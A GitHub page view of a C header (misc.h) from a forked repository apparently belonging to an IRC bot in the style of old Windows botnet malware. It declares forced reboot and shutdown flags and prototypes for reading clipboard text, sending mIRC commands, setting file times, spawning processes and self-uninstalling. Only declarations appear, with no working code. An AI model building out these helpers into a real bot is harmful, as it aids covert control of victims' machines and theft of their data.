forked from Fuwn/net
-
Notifications
You must be signed in to change notification settings - Fork 0
/
misc.h
21 lines (18 loc) · 830 Bytes
/
misc.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define SHTDN_REASON_MAJOR_SYSTEM 0x00050000 // ripped from reason.h
#define SHTDN_REASON_MINOR_HUNG 0x00000005
#define SHUTDOWN_SYSTEM_HUNG (SHTDN_REASON_MAJOR_SYSTEM|SHTDN_REASON_MINOR_HUNG) // for XP,2k only ignored on 9x
#define EWX_SYSTEM_REBOOT (EWX_REBOOT | EWX_FORCE)
#define EWX_FORCE_SHUTDOWN (EWX_SHUTDOWN | EWX_POWEROFF | EWX_FORCE)
//char *replacestr(char *str, char *oldstr, char *newstr);
char *replacestr(char *str, const char *substr, const char *repstr);
int Split(char *inStr, void *saveArray);
void initskip(char *s, int len, int skip[1024]);
int lstrindex(char c);
char *lstrstr(char *s, char *t);
char *PrintError(char *msg);
char *GetClipboardText(void);
BOOL mirccmd(char *cmd);
void SetFileTime(char *Filename);
DWORD CreateProc(char *file, char *param);
BOOL Reboot(void);
void uninstall(void);